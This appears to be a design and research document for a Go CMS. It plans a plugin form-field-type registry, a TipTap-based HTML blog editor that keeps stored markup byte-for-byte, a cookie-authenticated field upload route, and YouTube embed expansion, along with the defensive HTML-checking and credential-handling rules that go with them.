+- **Module documentation.** Any change to a `modules/` package's exported API, config keys, CLI or dependencies updates that module's `README.md` in the same change. `pact` and `cabana` both change here. The affected `docs/` pages change with them, and `go test ./cmd/summer -run TestDocsTree` must pass. Every identifier named in a README or doc must exist.
+- **Framework READMEs never name a consuming application.** Use `blog`/`acme` examples, not Journal or grzybyfunkcjonalne.
+- **Core plugin contracts.** Do not break the shared PHP contracts. The PHP originals are not changed.
+- **Concurrent session.** Another session may be editing `modules/` (16.1 D-02). Stage files explicitly by path and check for in-flight edits to shared cabana files before committing.
+
+## Summary
+
+The framework half is a new, value-bearing extension point that sits next to the valueless Phase 10.1 `type: widget`. Today every layer hard-codes its type list:
+
+- `formFieldTypes` in `form_schema.go`
+- `scalarFormField` in `crud.go`
+- `mlFieldType` in `field_ml.go`
+- `listColumnTypes` in `list_schema.go`
+- the SPA `renderers` map and `ML_FIELD_TYPES`
+
+Each list must consult a per-boot plugin type registry, built in `cabana.Activate` from plugins that implement a new `pact.HasFormFieldTypes`. Three constraints shape the design:
+
+- **Thread the registry through.** `compileFieldNode` is a pure function with no registry access, and `decodeFields` is shared by controller forms, settings forms and relation child forms. The registry has to be passed down, not read from a package global.
+- **Keep the YAML pre-check working.** The YAML key pre-check (`formFieldKeys`) runs before the type is known, so plugin-specific keys must be validated after the type is resolved.
+- **Run Decode and Load inside the transaction.** `liftMLValues` runs before the transaction and before the record is loaded. Plugin Decode and Load need the loaded record (D-07 serves `content_html`; D-03 compares with the served value), so they run inside the transaction after `loadRecord`.
+
+Two findings change the plan:
+
+- **The Journal media upload route is unreachable from the admin SPA (D-18).**
+  - The SPA authenticates with the HttpOnly `summer_admin` cookie, whose `Path` is the admin prefix.
+  - The route lives at `/_journal/api/v1/media/upload`, outside that path, and its guard reads only a Bearer header.
+  - The element is never given a token (Phase 10.1 rule).
+  - The recommended fix: a cabana-owned upload route for plugin field types. It sits under the admin API, so it gets the cookie, the CSRF header, permissions and the record scope. Journal implements it by calling the same storage code as the existing route.
+- **TipTap's default schema is very lossy on this site's real markup.** Probed against 3.31.4 with the author-footer HTML from the grzybyfunkcjonalne export, the default schema:
+  - drops `<footer>`, `<div>`, `<span style>`, `<style>`, `<figure>`/`<figcaption>` and microdata attributes;
+  - normalizes entities;
+  - rewrites tables (adds `colgroup` and `min-width` styles, drops `thead`, wraps cell text in `<p>`);
+  - adds `target="_blank" rel="noopener noreferrer nofollow"` to every link;
+  - appends an empty `<p>`.
+
+  Byte preservation therefore has two layers:
+  - The element never re-serializes an untouched document, and the server skips a submitted value that equals what it served.
+  - For edited documents, the custom schema is configured to keep as much markup as possible: an atomic raw-HTML block, a global attribute map, figure, embed and span nodes, and links and tables without TipTap's default attributes.
+
+There is also a latent gap. The admin path never writes the non-default locale `content_html` translation; only the host column is set by `FormBeforeUpdate`. PHP's `MLJournalMarkdown::getSaveValue` wrote both per locale. The plugin ML type must close this gap, so the framework has to tell the Journal hooks which field and locale values a save actually wrote.
+
+**Primary recommendation:** Add `pact.HasFormFieldTypes` returning `[]pact.FormFieldType` (a struct of funcs, the same style as `pact.AdminAction`) with `Name`, `Element`, `Translatable`, `Scripts`/`Styles`, option keys plus `CheckOptions`, `Decode`, `Load`, `ListValue` and an optional `Upload`. Cabana runs Decode and Load per locale inside the save transaction, skips values equal to what it served, and exposes the writes to Form hooks through a context accessor. Build the Blog Editor as a light-DOM custom element `golem15-journal-blogeditor` on TipTap 3.31.4 with a preservation-first schema, bundled with the admin SPA's pinned Vite 7.3.5.
+
+## Architectural Responsibility Map
+
+| Capability | Primary Tier | Secondary Tier | Rationale |
+|------------|-------------|----------------|-----------|
+| Field type registration, alias collision, option validation | API / Backend (cabana boot) | — | Fail-loud boot rule (ADMIN-07 precedent); no request input involved |
+| Decode/validate (CheckHTML) per locale, untouched skip | API / Backend (cabana save tx + plugin Decode) | — | XSS gate must be server-side on every write path (D-10); hooks only see the host model |
+| Load (markdown post → `content_html`) | API / Backend (plugin Load in Show/save response) | — | Needs the record and translations; the element must receive the served string |
+| Locale storage (ML variant) | API / Backend (cabana lift/hydrate + TranslationWriter) | Database (translate overlay) | D-14: not reimplemented per plugin |
+| `content_html` companion write (host + non-default) | API / Backend (Journal Form hooks) | — | Journal-specific derived column; needs to know which values were written |
+| Global field-type asset delivery | API / Backend (cabana asset route + boot endpoint) | Browser (SPA loader) | Assets are embedded and hashed at boot (D-13, 10.1 D-16) |
+| WYSIWYG editing, source toggle, dirty tracking | Browser (custom element) | — | Pure client concern; SPA build gains no editor dependency (D-16) |
+| Value binding element ↔ form state | Browser (SPA generic PluginField) | — | Replaces UnsupportedField fallback for plugin types |
+| Image upload transport | Browser (SPA posts with admin session) | API / Backend (cabana upload route → plugin Upload) | Element never holds credentials (10.1 rule) |
+| Image storage | API / Backend (Journal media store) | CDN / Static (nginx `/storage/app/uploads/public`) | Same key layout and public URL as the existing route |
+| Embed placeholder → iframe | Frontend Server (SSR, vue-journal-layer) | Browser (hydration) | D-05/D-17: iframes exist only after the frontend gate |
+
+## Standard Stack
+
+### Core (JS, sm-journal-plugin only; the admin SPA gains no editor dependency per D-16)
+
+| Library | Version | Purpose | Why Standard |
+|---------|---------|---------|--------------|
+| `@tiptap/core` | 3.31.4 (published 2026-09-30, MIT) | Editor API, `Node`/`Extension`/`Mark` factories | Locked by D-16 [VERIFIED: npm registry: `npm view @tiptap/core version license`] |
+| `@tiptap/pm` | 3.31.4 (MIT) | ProseMirror re-export (model/view/state/tables) | Peer dependency of core; pins prosemirror-model ^1.25.11, prosemirror-view ^1.42.3 [VERIFIED: npm registry] |
+| `@tiptap/starter-kit` | 3.31.4 (MIT) | Paragraph, headings, bold/italic, lists, blockquote, link, history, trailing node | Configure with `trailingNode: false` and a reconfigured `link` (see Pitfalls) [VERIFIED: node_modules/@tiptap/starter-kit/src/starter-kit.ts:166-169] |
+| `@tiptap/extension-table` | 3.31.4 (MIT) | `TableKit` (table, row, header, cell) | Official table support; override `renderHTML` to stop the colgroup/min-width output [CITED: tiptap.dev/docs/editor/extensions/nodes/table] |
+| `@tiptap/extension-image` | 3.31.4 (MIT) | `img` node (block by default, `allowBase64: false`) | Base for the figure/caption node; base64 refused by default [VERIFIED: node_modules/@tiptap/extension-image/src/image.ts:87-90,127] |
+
+### Supporting (build/test, devDependencies of the plugin JS build, versions pinned to the admin SPA's lockfile)
+
+| Library | Version | Purpose | When to Use |
+|---------|---------|---------|-------------|
+| `vite` | 7.3.5 | Library-mode build of `assets/src` to one ES module `assets/dist/blogeditor.js` (+ `.css`) | Same pin as `admin/package.json`; avoids a second bundler in the repo set [VERIFIED: summercms.go/admin/package.json] |
+| `vitest` | 3.2.7 | Unit tests of the serializer, dirty tracking, embed node | Same pin as the admin SPA [VERIFIED: admin/package.json] |
+| `happy-dom` | 20.11.6 | DOM for vitest; also used in this session's probes (TipTap runs on it) | Same pin as the admin SPA [VERIFIED: admin/package.json; local probe ran Editor on happy-dom] |
+| `typescript` | 5.9.3 | Type-check the element source | Same pin as admin SPA and vue-journal-layer |
+
+Go side: **no new dependency.** It uses `encoding/json` and `strings` in the Journal Decode/Load, and the existing `gocloud.dev/blob` in the media store.
+
+### Alternatives Considered
+
+| Instead of | Could Use | Tradeoff |
+|------------|-----------|----------|
+| Vite library mode | esbuild 0.28.2 directly | esbuild is smaller and faster, but it adds a second toolchain next to the admin's pinned Vite. It also has a `postinstall` (`node install.js`) binary fetch. Vite 7.3.5 already uses esbuild internally. |
+| Light-DOM element + tag-scoped CSS | Shadow DOM | Shadow DOM isolates styles, but ProseMirror selection inside shadow roots has historically had browser quirks. The 10.1 rule already restricts plugin CSS to `--c-*` variables, and those variables inherit either way. [ASSUMED] |
+| One bundle (~430 KiB min / ~135 KiB gzip) | Lazy chunk loaded on first element connect | Lazy loading needs a declared-but-not-auto-loaded asset, which the 10.1 asset mechanism does not model. One bundle is revalidated with `ETag`/304 per page. |
+
+**Installation (in `../sm-journal-plugin`):**

+
+### Pattern 1: Per-boot field type registry threaded through compile
+
+**What:** Collect `pact.HasFormFieldTypes` from every activated plugin in `Activate` and pass the registry into `compileRegistry` and from there into `decodeFields` and `compileFieldNode`. Validate aliases with an identifier rule, for example `^[a-z][a-z0-9]*$`, and reject:
+- duplicates;
+- any name in the core `formFieldTypes` set;
+- the reserved names `widget` and `partial`.
+
+**Verified integration points (quoted from source):**
+- The closed type set [VERIFIED: modules/cabana/form_schema.go:24-30]:
+  `"text": {}, "textarea": {}, "number": {}, "checkbox": {}, "switch": {}, "dropdown": {}, "relation": {}, "relation-manager": {}, "widget": {}, "partial": {}, "fileupload": {}, "datepicker": {}, "password": {}, "permissioneditor": {}, "markdown": {}, "mltext": {}, "mltextarea": {}, "mlmarkdown": {},`
+- The unknown-key check runs before the type is known [VERIFIED: modules/cabana/form_schema.go:466-468]: `if _, known := formFieldKeys[key]; !known { return FormField{}, fmt.Errorf("unknown field %s", key) }`. The type is resolved afterwards [form_schema.go:474-480]. Plugin keys therefore need either a two-pass key check or a resolve-type-first reorder.
+- `decodeFields(raw []byte)` has three callers: form_schema.go:194 (controller form), settings.go:74 (settings), relation_form.go:145 and :246 (relation child and pivot forms). [VERIFIED: grep + Read of form_schema.go]
+- Registry construction lives in `Activate`, http.go:74-121: `collectControllers` → `compileRegistry(items)` → `compileContributions(reg, plugins)`. `compileRegistry` receives only `items []controllerRef`, so it needs a new parameter. [VERIFIED: modules/cabana/http.go:75-119; registry.go:57]
+- The save classifier [VERIFIED: modules/cabana/crud.go:1224-1232]: `case "text", "textarea", "number", "checkbox", "switch", "dropdown", "datepicker", "markdown", "mltext", "mltextarea", "mlmarkdown": return true`. `BindWritableFields` (crud.go:204) and `mergedRules` (crud.go:1073) use it, so a plugin type bound to a column must count as writable.
+- ML classifier [VERIFIED: modules/cabana/field_ml.go:11-15, 47-53]: `mlTextFieldType = "mltext"`, `mlTextareaFieldType = "mltextarea"`, `mlMarkdownFieldType = "mlmarkdown"`.
+- List column types [VERIFIED: modules/cabana/list_schema.go:22-24]: `"text": {}, "datetime": {}, "switch": {}, "date": {}, "time": {},`. List rows are projected by `projectRow` (http.go:1067), which copies raw field values. Columns typed with a plugin alias call `ListValue`.
+- The widget tag rule to reuse for `Element` [VERIFIED: modules/cabana/extension.go:18, 48-50]: `^[a-z][a-z0-9]*(-[a-z0-9]+)+$`, and the prefix is the plugin ID with `.`/`_` → `-` plus `-` (`golem15.journal` → `golem15-journal-`).
+
+**Recommendation:** Do not use a package-level mutable registry. Tests construct several services in one process; the existing code builds everything per `Activate`. Use a small `fieldTypes` value passed as a parameter, or attached to a compile-context struct.
+
+### Pattern 2: Save lifecycle for plugin types (D-12 items 2-3, D-14)
+
+**What:** Plugin values are handled in two places:
+1. **Before the transaction**, a shape check. It reuses the `liftMLValues` rules for a translatable type: an object of enabled locale → string with the default locale required. A plain type accepts any JSON value.
+2. **Inside the transaction after `loadRecord`**, a per-locale Load → compare → Decode step.
+
+Decoded default-locale values go onto the body, so `lagoon.Fill` applies them, `Fillable` and `context:` are still enforced, and `FormBeforeUpdate` sees them on the model. Non-default values join the existing `translations` list for `applyMLTranslations`.
+
+**Why inside the transaction:** the current order in `save()` is: ML lift at crud.go:600 (before the transaction), then `loadRecord` (crud.go:616), Fill, BeforeValidate, Validate, `formBeforeUpdate`, row Save, `applyMLTranslations` (crud.go:688), `formAfterUpdate`, `projectFullRecord` and `hydrateMLRecord` (crud.go:709). [VERIFIED: modules/cabana/crud.go:567-711] Load needs the record, for example to serve `content_html` for a markdown post (D-07), so the untouched comparison can only run after the load.
+
+**Error mapping:** pact cannot import cabana, so it cannot return `*cabana.ValidationError`. Define `pact.FieldError{Messages []string}`. Cabana maps it to a 422 on that field. Any other error becomes the opaque 500 or lifecycle error, so internal error text never leaks. This matches the existing `ValidationError`/`ForbiddenError` handling in `lifecycleFailure` (crud.go:815-850).
+
+**Written-values accessor (closes the companion-column gap):** after the decode step, put the written values on the context, the same pattern as `withVirtualFields`/`VirtualFieldsFromContext` (tx_context.go:38-54), for example `cabana.FieldWritesFromContext(ctx) map[string]map[string]string`, which maps field → locale → value for the values actually written. Form hooks read it:
+- **Journal `FormBeforeCreate`/`FormBeforeUpdate`:** if `content` was written in the default locale, set `ContentHTML = Content`; otherwise leave `ContentHTML` alone, which keeps it byte-identical.
+- **Journal `FormAfterCreate`/`FormAfterUpdate`:** for each written non-default locale of `content`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)`. The hook runs after `applyMLTranslations` (crud.go:688 runs before `formAfterUpdate` at :698), so the host row has its id.
+
+### Pattern 3: Two-layer untouched detection (D-03)
+
+The **client** never re-serializes an untouched document:
+- the element stores the exact string it was given;
+- its `value` getter returns that string until a user-originated `docChanged` transaction or a source-textarea `input`;
+- the initial content goes in with `emitUpdate: false`.
+
+The **server** skips any per-locale value equal to the value it served (`Load` output) on update, so neither column, nor the translation, is written. Both layers are needed:
+- The client layer alone fails for a markdown post. The element is served `content_html`, so an untouched save would send `content_html` and overwrite the markdown `content`. The server comparison stops that.
+- It also fails for imported posts whose `content_html` differs from `content`. In the local grzybyfunkcjonalne export, 17 of 100 pl translations differ, for example `&quot;` versus `"`. [VERIFIED: analysis of /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/*.json in this session; note this export is from March 2026 and older than UAT data]
+- The server layer alone fails because TipTap normalizes on load, as Pitfall 1 shows, so an editor that re-serialized on load would never match.
+
+**Generic semantics:** "a value equal to what the form was served is not written" holds for any plugin type, so cabana can apply it without the plugin opting in.
+
+### Pattern 4: Preservation-first editor schema (D-03 "as far as possible", D-04)
+
+Build these on top of `StarterKit.configure({ trailingNode: false, link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false } })`:
+
+1. **`rawHtml` atomic block node:**
+   - `atom: true`, `group: 'block'`, low priority.
+   - `parseHTML` rules for block tags the schema does not model: `footer`, `section`, `aside`, `header`, `nav`, `details`, `style`, and `div` (or only a `div` with attributes).
+   - It stores the outer HTML.
+   - The editor shows it as a non-editable card that opens in the source tab. A probe showed it keeps the footer and `<style>` (with `itemscope` → `itemscope=""` normalization). ProseMirror's parser ignores `style` by default, but a matching rule overrides that. [VERIFIED: local probe; prosemirror-model dist ignoreTags = `head, noscript, object, script, style, title`]
+2. **Global attribute map:** an `Extension` with `addGlobalAttributes` over the modelled node types. One `htmlAttrs` attribute captures every attribute the node does not model and renders it back. In the probe it kept `class`/`data-x`/`itemprop`; attribute order can change. [VERIFIED: local probe; CITED: tiptap.dev/docs/editor/extensions/custom-extensions/extend-existing (`types: '*' | 'nodes' | 'marks'`)]
+3. **`span` mark** with the same attribute map, for inline `style`/`class` spans such as the footer's `<span style="color: #138c74;">`.
+4. **`figure` node** containing an image plus an optional `figcaption` (D-18 caption). Without it, the probe showed `<figure>` unwrapped and `figcaption` becoming a `<p>`.
+5. **`embed` atomic node**, rule `figure[data-embed]` with higher priority than `figure`. It renders exactly `<figure data-embed="youtube" data-id="ID"></figure>`; the probe round-tripped this exactly.
+6. **Table:** `TableKit` with a `renderHTML` override that emits no `colgroup` or `min-width` style.
+7. **Custom serializer for `getValue()`:** do not use `editor.getHTML()` for the stored value. Walk the top-level nodes:
+   - emit `rawHtml` nodes verbatim;
+   - for other nodes, use `DOMSerializer.fromSchema(schema).serializeNode(node)`.
+
+   An optional refinement: at load, parse each top-level DOM child on its own and remember (nodes, outerHTML). On serialize, emit the remembered outerHTML for any run of top-level nodes that are still `Node.eq` to the originals. Unedited paragraphs then stay as the browser serialized them, which reduces diff churn on long imported posts. This is a design proposal [ASSUMED]; `Node.eq` exists in prosemirror-model [VERIFIED: node_modules/prosemirror-model/dist/index.js:217].
+
+**The source tab** is a `<textarea>` bound to the exact string. Switching source → WYSIWYG re-parses; that counts as an edit only if the text changed.
+
+### Pattern 5: Element contract (D-13), extending the 10.1 widget contract
+
+- **Tag:** the plugin prefix rule (`golem15-journal-blogeditor`). It is defined by the plugin script, loaded globally after login.
+- **Inputs:**
+  - The `value` property (string for the Blog Editor; any JSON for other types).
+  - Attributes `field-name`, `locale`, `record-id` (empty on create) and `invalid`, `disabled`/`readonly`.
+  - Attribute `options` with the JSON of the type's YAML options.
+  - Setting `value` to the string the element last emitted must be a no-op, so there is no cursor reset on echo.
+- **Outputs (all bubbling `CustomEvent`s):**
+  - `summer-change` with `detail.value`, emitted only on user edits.
+  - `summer-upload` with `detail { id, file }`. The SPA posts the file to the field upload route with the admin session and answers on the element with `summer-upload-result` `{ id, url } | { id, error }`.
+- **Never handed to the element:** a token, a cookie, a function or a Vue instance (WidgetField.vue header rule). [VERIFIED: admin/src/components/form/fields/WidgetField.vue header comment]
+- **Event-name precedent:** `WIDGET_EVENT = 'summer-action'` and `WIDGET_RESULT_EVENT = 'summer-result'`. [VERIFIED: admin/src/components/form/formContext.ts:86,93]
+- **SPA changes:**
+  - `rendererFor` falls back to `PluginField` for types carrying `element`.
+  - `isRegistered` returns true for plugin types.
+  - `valueless` stays `[RELATION_MANAGER, 'widget', 'partial', 'fileupload']` [VERIFIED: registry.ts:87].
+  - `isMLFieldType(type)` (`ML_FIELD_TYPES = new Set(['mltext', 'mltextarea', 'mlmarkdown'])` [VERIFIED: mlLocale.ts:2]) must also accept plugin fields flagged `translatable`. Its callers in `formState.ts` (`editablePayload`, `initialValues`, `adopt`, `recordDisplayName`) pass a type string, so either switch them to a field-based check or register translatable plugin types at schema load.
+- **CSS:** `loadStyles`/`activateStyles` disable stylesheets owned by other controllers [VERIFIED: admin/src/app/pluginAssets.ts]. Field-type CSS needs an owner that is never disabled. Scope its selectors under the element tag and use only `--c-*` variables (cabana README:134).
+
+### Pattern 6: Journal integration
+
+- **Register both types on the Plugin**, not on a controller, because field types are global (D-13). Embed `assets/dist/blogeditor.js` and `.css` through the existing `//go:embed` list in `admin.go`. The assets are served at `<prefix>/assets/golem15/journal/dist/blogeditor.js?v=<hash>` (key = `vendor/plugin/<path after assets/>`, extension.go:281).
+- **Decode (both types):** check that the value is a string, run `classes.CheckHTML(value)` and return the string unchanged. CheckHTML errors become `pact.FieldError`. The gate patterns [VERIFIED: sm-journal-plugin/classes/format_html.go:25-27]:
+  - ``(?i)<(?:script|iframe|object|embed)\b``
+  - ``(?i)\son[a-z]+\s*=``
+  - ``(?i)(?:javascript|vbscript|data):``
+- **Load (post `content`):** if the stored `content` looks like HTML (first non-space byte is `<`), serve `content`. Otherwise it is a markdown post, so serve `content_html` for that locale. For a non-default locale, read it through the app's `cabana.TranslationWriter` (`TranslatedExact(..., "content_html", locale)`). This "looks like HTML" rule is a heuristic [ASSUMED]; see the Assumptions Log.
+- **Hooks:** `preparePostWrite` (posts.go:213-219: `html, err := classes.FormatHTML(post.Content)` … `post.ContentHTML = html`) stops calling `FormatHTML` on the admin path and uses the written-values accessor instead (Pattern 2). The API path (`controllers/api/posts_helpers.go`) keeps `FormatHTML` (D-09). [VERIFIED: sm-journal-plugin/controllers/posts.go:213,219]
+- **Fields:**
+  - `models/post/fields.yaml:19` changes `type: mlmarkdown` → `type: mlblogeditor`.
+  - `models/category/fields.yaml:28` changes `type: textarea` → `type: blogeditor`.
+
+  [VERIFIED: grep -n of both files]
+- **Category content is not translatable:**
+  - Go model: `Content *string` … `// HTML body (D-21): stored and served as is, not translatable` [VERIFIED: models/category.go:12].
+  - `func (Category) Translatable() []string { return []string{"name", "description", "slug"} }` [VERIFIED: models/category.go:26].
+  - The frozen PHP `Category::$translatable` is `'name', 'description', ['slug', 'index' => true]`, and the PHP category form has no content field at all [VERIFIED: /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php:36-40, models/category/fields.yaml].
+  - So D-19 resolves to **`blogeditor`**.
+  - `Content` is `*string`: Decode/Load must handle a nil pointer, and `prepareCategoryWrite` still maps blank to NULL.
+- **Post translatable attributes:** `return []string{"title", "content", "content_html", "excerpt", "metadata", "slug"}` [VERIFIED: models/post.go:43-45]. `content_html` is translatable, so the non-default companion write is required.
+
+### Pattern 7: Embed expansion in vue-journal-layer (D-17)
+
+Order matters: `gateJournalHtml(html)` runs first and refuses any raw iframe in stored HTML. Then `expandEmbeds(gated.html)` replaces only exact placeholders, `<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"></figure>` (optionally with a `figcaption`), with:
+
+```html
+<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/ID" ...></iframe></figure>
+```
+
+- The transform is string-based and SSR-safe; there is no DOM on the server.
+- It applies in both v-html sinks: `PostBody.vue:11` and `CategoryHeader.vue:17` [VERIFIED: grep of vue-journal-layer/app].
+- Unknown providers or malformed ids stay inert.
+- The site's nginx config sets no CSP, so the iframe needs no header change [VERIFIED: grep of sm-grzybyfunkcjonalne-app/deploy/nginx shows only HSTS and nosniff `add_header`].
+- Privacy-enhanced mode is the `youtube-nocookie.com` embed domain [CITED: support.google.com/youtube/answer/171780].
+
+### Pattern 8: Plugin JS build (D-16)
+
+Mirror `scripts/check-admin-dist.sh`, which rebuilds into a temporary directory and fails on `diff -r` against the committed `dist`. The plugin gets:
+- `package.json` with exact pins and a `package-lock.json`;
+- `vite.config.ts` in library mode (`build.lib` with `formats: ['es']`, `fileName: 'blogeditor'`, a stable output name with no content hash, because cabana adds `?v=` itself);
+- `scripts/check-dist.sh`.
+
+The Go build never runs npm, so a host app needs no Node (D-16). Do not let the bundle depend on `eval`/`new Function`: the admin CSP is `"frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'"` [VERIFIED: modules/boardwalk/boardwalk.go:32]. There is no `style-src`, so TipTap's injected style tag (`injectCSS`, default true) is allowed. It is still cleaner to set `injectCSS: false` and ship the CSS in `blogeditor.css`.
+
+### Pattern 9: Field upload route (resolves D-18 reachability; see Open Question 1)
+
+The route is `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`, multipart with one `file` part, where `{id}` 0 means the create form, the same convention as the fileupload routes. Cabana owns:
+- the backend guard (cookie or Bearer);
+- `requireAjax`;
+- the controller's `RequiredPermissions`;
+- the record scope through `FormExtendQuery` when `id != 0`;
+- the body cap `http.body_limits.upload_bytes` (`s.uploadBytes`);
+- "the field exists in the form, its type is a plugin type with an `Upload` func, and its context allows the operation".
+
+It then calls `Upload(ctx, pact.FormFieldUpload{Record, Field, Filename, Body})`. That returns `{URL string}` or a `FieldError`, and cabana answers 201 `{data:{url}}`.
+
+**Pattern collision check:** the shape `/{v}/{p}/{c}/{id}/fields/{field}/upload` is distinct from the existing 7-segment POST patterns:
+- `.../{id}/files/{field}/reorder`
+- `.../{id}/relations/{name}/link`
+
+They differ by the literal segment, so `ServeMux` accepts them all. The 6-segment shape `/{v}/{p}/{c}/fields/{field}/upload` would collide with `POST /{vendor}/{plugin}/{controller}/{id}/actions/{action}`: neither is more specific, the same problem `nestedGet` documents. [VERIFIED: route table read in modules/cabana/http.go:241-345]
+
+A new route must be:
+- added to `admin_openapi.go`;
+- added to `phase09Routes`, because `TestPhase09PermissionMatrix` and `TestPhase09ContractInventory` fail on divergence;
+- regenerated through `scripts/check-admin-openapi.sh`.
+
+### Anti-Patterns to Avoid
+
+- **Running Decode/CheckHTML in Form hooks only.** Hooks see the host model, never the non-default locale values (`translations` stay inside cabana), so D-10 "every locale" cannot be met there.
+- **Using `editor.getHTML()` as the stored value.** It normalizes entities, attributes, tables and links even for unchanged content (Pitfall 1).
+- **Calling `editor.commands.setContent(html)` with the defaults when syncing an external value.** `emitUpdate` defaults to `true` in v3 (it was `false` in v2), so the echo fires `update` and marks the editor dirty. [CITED: tiptap.dev/docs/editor/api/commands/content/set-content] [VERIFIED: local probe: one update per default `setContent`, none with `{ emitUpdate: false }`]
+- **A package-level plugin type registry** in cabana (tests build several services per process).
+- **Handing the element a token or calling `/_journal/api/v1/media/upload` from it** (unreachable, and it breaks the 10.1 credential rule).
+- **Relaxing `CheckHTML` to allow iframes** (rejected; D-05 and Deferred).
+
+## Don't Hand-Roll
+
+| Problem | Don't Build | Use Instead | Why |
+|---------|-------------|-------------|-----|
+| Rich-text editing, selection, undo, paste handling | contenteditable + execCommand | TipTap 3.31.4 (ProseMirror) | Locked D-16; contenteditable has notoriously inconsistent cross-browser behavior [ASSUMED] |
+| Table editing (cell selection, merge, keyboard nav) | Custom table UI | `TableKit` (prosemirror-tables) | Edge cases in cell selection and colspan handling |
+| Locale storage for the ML variant | Per-plugin translation writes | cabana `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord` + published `TranslationWriter` | D-14; the existing path already validates locales and the default key |
+| Asset hashing/serving/ETag | A second asset pipeline | `compileClientAssets` reader + `pluginAsset` route | 10.1 machinery; refactor the reader for plugin-level assets |
+| Upload auth/CSRF/permissions/scoping | A plugin route that reads the cookie | cabana-owned field upload route (Pattern 9) | The framework owns these checks for actions and file routes already |
+| HTML sanitization | A sanitizer | `classes.CheckHTML` refuse-only gate | Locked D-10 (no sanitizer dependency) |
+| The dist drift gate | Ad-hoc checks | Copy of `scripts/check-admin-dist.sh` | Proven pattern (temp build + `diff -r`) |
+
+**Key insight:** losslessness here does not come from a perfect schema, because no ProseMirror schema round-trips arbitrary HTML. It comes from not serializing unless the user edited, plus a server that refuses to write what it served.
+
+## Common Pitfalls
+
+### Pitfall 1: TipTap's default schema silently rewrites imported HTML
+**What goes wrong:** Opening and re-serializing loses footers, styles, spans, microdata, figures and table structure.
+**Evidence (local probe, @tiptap/* 3.31.4 on happy-dom 20.11.6):**
+- The input `<p>Tekst.</p>\n\n<footer class="author-footer" itemscope itemtype="https://schema.org/Person">…<style>…</style>` came out as `<p>Tekst.</p><img src="/a.png" alt="A"><p>Marcin</p>`.
+- `&quot;` became `"`.
+- `<table><thead>…` came out as `<table style="min-width: 50px;"><colgroup>…</colgroup><tbody><tr><th><p>A</p></th>…</tbody></table><p></p>`.
+- `<figure><img><figcaption>Cap</figcaption></figure>` came out as `<img …><p>Cap</p>`.
+
+[VERIFIED: probe output this session]
+**How to avoid:** Use Patterns 3 and 4.
+**Warning signs:** A vitest that sets `value` and reads `value` without any edit returns a different string.
+
+### Pitfall 2: Link extension adds attributes to every link
+**What goes wrong:** Every re-serialized `<a>` gains `target="_blank" rel="noopener noreferrer nofollow"`.
+**Why:** The defaults are `HTMLAttributes: { target: '_blank', rel: 'noopener noreferrer nofollow', class: null }` [VERIFIED: node_modules/@tiptap/extension-link/src/link.ts:263-267].
+**How to avoid:** Configure `link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false }` and preserve the original `target`/`rel` through the attribute map. Keep the default `isAllowedUri` (it refuses `javascript:`).
+
+### Pitfall 3: The trailing node appends `<p></p>`
+**What goes wrong:** StarterKit v3 includes `TrailingNode`, so a document that ends in a table or another atom gains an empty paragraph.
+**How to avoid:** `StarterKit.configure({ trailingNode: false })` [VERIFIED: local probe, trailing `<p></p>` gone with the option].
+
+### Pitfall 4: `setContent` emits `update` by default in v3
+**How to avoid:** Pass the initial value through the `content` option or `setContent(v, { emitUpdate: false })`. Track dirty from user transactions only. [VERIFIED: probe; CITED: tiptap set-content docs]
+
+### Pitfall 5: The 16.1 stopgap is not byte-preserving
+**What goes wrong:** Since 16.1, every admin post save runs `FormatHTML(post.Content)` (goldmark with `html.WithUnsafe()`, format_html.go:22) and stores the result in `content_html`.
+- goldmark trims the input and adds a trailing `\n`.
+- CommonMark HTML-block rules can turn 4-space-indented HTML into code blocks, and can process markdown between blank-line-separated HTML blocks. [ASSUMED from CommonMark spec behavior]
+- The 16.1 test compares `strings.TrimSpace(stored.ContentHTML)` [VERIFIED: posts_admin_smoke_test.go:146], so it cannot detect byte drift.
+**How to avoid:** Replace the stopgap on the admin path (Pattern 6). Tighten the test to exact bytes and add the untouched case: a PUT with the served value must leave `content`, `content_html` and `updated_at`-independent columns unchanged.
+
+### Pitfall 6: Saving an untouched markdown post converts it
+**What goes wrong:** Without the server-side skip, an untouched markdown post sends `content_html` back as `content`, a silent format migration with no edit. That contradicts D-03, and also D-07's "on first edit".
+**How to avoid:** Use the Pattern 3 server skip.
+
+### Pitfall 7: Non-default `content_html` is never written by the admin today
+**What goes wrong:** `FormBeforeUpdate` sets only the host `ContentHTML`. `applyMLTranslations` writes only the field itself (`content`). So an `en` edit leaves the `en` `content_html` stale. PHP wrote both per locale: `setAttributeTranslated('content', …)` and `setAttributeTranslated('content_html', Post::formatHtml($value), …)` [VERIFIED: fonoteka/plugins/golem15/journal/formwidgets/MLJournalMarkdown.php getSaveValue].
+**How to avoid:** Use the Pattern 2 written-values accessor and the companion write in `FormAfter*`.
+
+### Pitfall 8: Field-type CSS gets disabled on navigation
+**What goes wrong:** `activateStyles(controllerId)` disables every link whose owner is not the active controller [VERIFIED: admin/src/app/pluginAssets.ts].
+**How to avoid:** Add a global owner that `activateStyles` never touches.
+
+### Pitfall 9: Route pattern collision panics at boot
+**What goes wrong:** See Pattern 9. Use the `/{id}/fields/{field}/upload` shape and keep `TestPhase09PermissionMatrix` green.
+
+### Pitfall 10: The `data:` substring in prose trips `CheckHTML`
+**What goes wrong:** ``(?i)(?:javascript|vbscript|data):`` matches anywhere, including Polish text "Data: 12.03" ("data" is Polish for "date") and "Metadata:". The editor would then answer 422 on harmless text.
+**Evidence:** There are 0 occurrences in the local export [VERIFIED: scan this session], so this is a latent false-positive risk, not a current blocker.
+**How to handle:** Show the 422 message clearly in the editor. Changing the gate is a security decision and out of scope (D-10).
+
+### Pitfall 11: There is no Docker on this machine
+**What goes wrong:** The testcontainers suites cannot run here: the `modules/cabana` Postgres tests and the sm-journal-plugin admin harness, including `TestPostsAdminResaveKeepsHTML` [VERIFIED: `docker info` failed this session; 16.1-01 SUMMARY records the same].
